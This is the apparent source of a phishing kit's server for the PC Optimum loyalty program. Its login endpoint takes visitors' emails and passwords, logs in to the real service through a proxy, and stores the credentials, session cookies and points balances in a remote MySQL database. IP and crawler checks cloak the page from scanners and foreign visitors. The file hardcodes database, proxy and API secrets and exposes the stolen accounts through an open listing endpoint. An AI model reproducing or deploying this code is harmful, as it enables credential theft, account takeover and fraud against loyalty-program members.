| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303 |
- import Fastify from "fastify";
- import fastifyStatic from "@fastify/static";
- import { dirname, resolve, join } from "path";
- import { fileURLToPath } from "url";
- import { Sequelize, DataTypes } from "sequelize";
- import { login } from "./login.js";
- import axios from "axios";
- import is_ip_private from "private-ip";
- import { Crawler, middleware } from "es6-crawler-detect";
- const __filename = fileURLToPath(import.meta.url);
- const __dirname = dirname(__filename);
- const fastify = Fastify({
- trustProxy: true,
- logger: {
- level: "error",
- },
- });
- fastify.register(fastifyStatic, {
- root: resolve(__dirname, "public"),
- prefix: "/",
- });
- const sequelize = new Sequelize("pcoptimum", "root", "3edc#EDC", {
- host: "38.180.126.100",
- dialect: "mysql",
- logging: false,
- });
- const Accounts = sequelize.define(
- "accounts",
- {
- // Model attributes are defined here
- email: {
- type: DataTypes.STRING,
- allowNull: false,
- },
- password: {
- type: DataTypes.STRING,
- allowNull: false,
- },
- userAgent: {
- type: DataTypes.TEXT("long"),
- allowNull: true,
- },
- ip: {
- type: DataTypes.STRING,
- allowNull: true,
- },
- success: {
- type: DataTypes.BOOLEAN,
- allowNull: false,
- defaultValue: false,
- },
- result: {
- type: DataTypes.TEXT("long"),
- allowNull: true,
- },
- error: {
- type: DataTypes.TEXT("long"),
- allowNull: true,
- },
- balance: {
- type: DataTypes.STRING,
- allowNull: true,
- },
- dollarsRedeemable: {
- type: DataTypes.STRING,
- allowNull: true,
- },
- cookies: {
- type: DataTypes.TEXT("long"),
- allowNull: true,
- },
- browserOptions: {
- type: DataTypes.TEXT("long"),
- allowNull: true,
- },
- },
- {
- // Other model options go here
- }
- );
- const Settings = sequelize.define(
- "settings",
- {
- // Model attributes are defined here
- name: {
- type: DataTypes.STRING,
- allowNull: false,
- },
- value: {
- type: DataTypes.STRING,
- allowNull: true,
- },
- },
- {
- // Other model options go here
- }
- );
- sequelize
- .authenticate()
- .then(async () => {
- await sequelize.sync();
- Settings.findAll().then((settings) => {
- if (!settings.find((setting) => setting.name === "block_hosting")) {
- Settings.create({ name: "block_hosting", value: "true" });
- }
- if (!settings.find((setting) => setting.name === "match_country")) {
- Settings.create({ name: "match_country", value: "US,CA" });
- }
- if (!settings.find((setting) => setting.name === "proxy_host")) {
- Settings.create({
- name: "proxy_host",
- value: "199.188.93.128:8000",
- });
- }
- if (
- !settings.find((setting) => setting.name === "proxy_username")
- ) {
- Settings.create({ name: "proxy_username", value: "proxy" });
- }
- if (
- !settings.find((setting) => setting.name === "proxy_password")
- ) {
- Settings.create({ name: "proxy_password", value: "40gyxQ2" });
- }
- });
- })
- .catch((error) => {
- console.error("Unable to connect to the database:", error);
- });
- fastify.addHook("onRequest", async (request, reply) => {
- if (request.url === "/crushing0853.html") {
- return;
- }
- if (/(^\/$)|(\.html$)/.test(request.url)) {
- var CrawlerDetector = new Crawler(request);
- if (CrawlerDetector.isCrawler(request.headers["user-agent"])) {
- return reply
- .code(302)
- .header("Location", "http://localhost")
- .send();
- }
- const blockHosting =
- (
- (await Settings.findOne({
- where: { name: "block_hosting" },
- })) || { value: "true" }
- ).value === "true";
- const matchCountry = (
- await Settings.findOne({
- where: { name: "match_country" },
- })
- ).value
- .split(",")
- .filter((country) => !!country);
- try {
- const ip = request.ip;
- console.log(ip);
- if (ip && !is_ip_private(ip)) {
- const { data: ipInfo } = await axios.get(
- `https://api.ipregistry.co/${ip}?key=57nk4wtrvc99utix`
- );
- if (
- blockHosting &&
- ["cdn", "hosting", "education"].includes(
- ipInfo.connection.type
- )
- ) {
- return reply
- .code(302)
- .header("Location", "https://www.pcoptimum.ca")
- .send();
- }
- if (
- matchCountry.length &&
- !matchCountry.includes(ipInfo.location.country.code)
- ) {
- return reply
- .code(302)
- .header("Location", "https://www.pcoptimum.ca")
- .send();
- }
- }
- } catch (error) {
- console.error(error.stack);
- }
- }
- });
- fastify.post("/settings", async function (request, reply) {
- const { name, value } = request.body;
- const setting = await Settings.findOne({ where: { name } });
- if (setting) {
- setting.value = value;
- await setting.save();
- } else {
- await Settings.create({ name, value });
- }
- return reply.code(200).send();
- });
- fastify.get("/settings", async function (request, reply) {
- return await Settings.findAll();
- });
- fastify.post("/login", async function (request, reply) {
- if (!request.body || !request.body.email || !request.body.password) {
- return reply
- .code(400)
- .send({ error: "email and password are required" });
- } else {
- const { email, password } = request.body;
- const proxy_host = (
- await Settings.findOne({ where: { name: "proxy_host" } })
- )?.value;
- const proxy_username = (
- await Settings.findOne({ where: { name: "proxy_username" } })
- )?.value;
- const proxy_password = (
- await Settings.findOne({ where: { name: "proxy_password" } })
- )?.value;
- let proxy = null;
- if (proxy_host && proxy_username && proxy_password) {
- proxy = {
- server: proxy_host,
- username: proxy_username,
- password: proxy_password,
- };
- }
- try {
- const { points, cookies, options } = await login(
- email,
- password,
- proxy
- );
- let balance = null;
- let dollarsRedeemable = null;
- if (points) {
- try {
- const json = JSON.parse(points);
- balance = json.balance + "";
- dollarsRedeemable = json.dollarsRedeemable + "";
- } catch (error) {}
- }
- const account = await Accounts.create({
- email,
- password,
- userAgent: request.headers["user-agent"],
- success: true,
- result: points,
- balance,
- dollarsRedeemable,
- cookies,
- browserOptions: JSON.stringify(options),
- });
- return reply.code(200).send();
- } catch (error) {
- console.error(error.stack);
- const account = await Accounts.create({
- email,
- password,
- userAgent: request.headers["user-agent"],
- success: false,
- error: error.stack,
- });
- return reply.code(500).send(error);
- }
- }
- });
- fastify.get("/list", async function (request, reply) {
- let page = request.query.page ? parseInt(request.query.page) : 0;
- const query = {};
- if (request.query.success) {
- query.success = request.query.success === "true";
- }
- const accounts = await Accounts.findAll({
- offset: 20 * page,
- limit: 20,
- order: [["createdAt", "DESC"]],
- where: query,
- });
- const total = await Accounts.count({ where: query });
- return {
- data: accounts,
- total,
- };
- });
- fastify.listen({ port: 3000, host: "0.0.0.0" }, function (err, address) {
- if (err) {
- fastify.log.error(err);
- process.exit(1);
- }
- });
|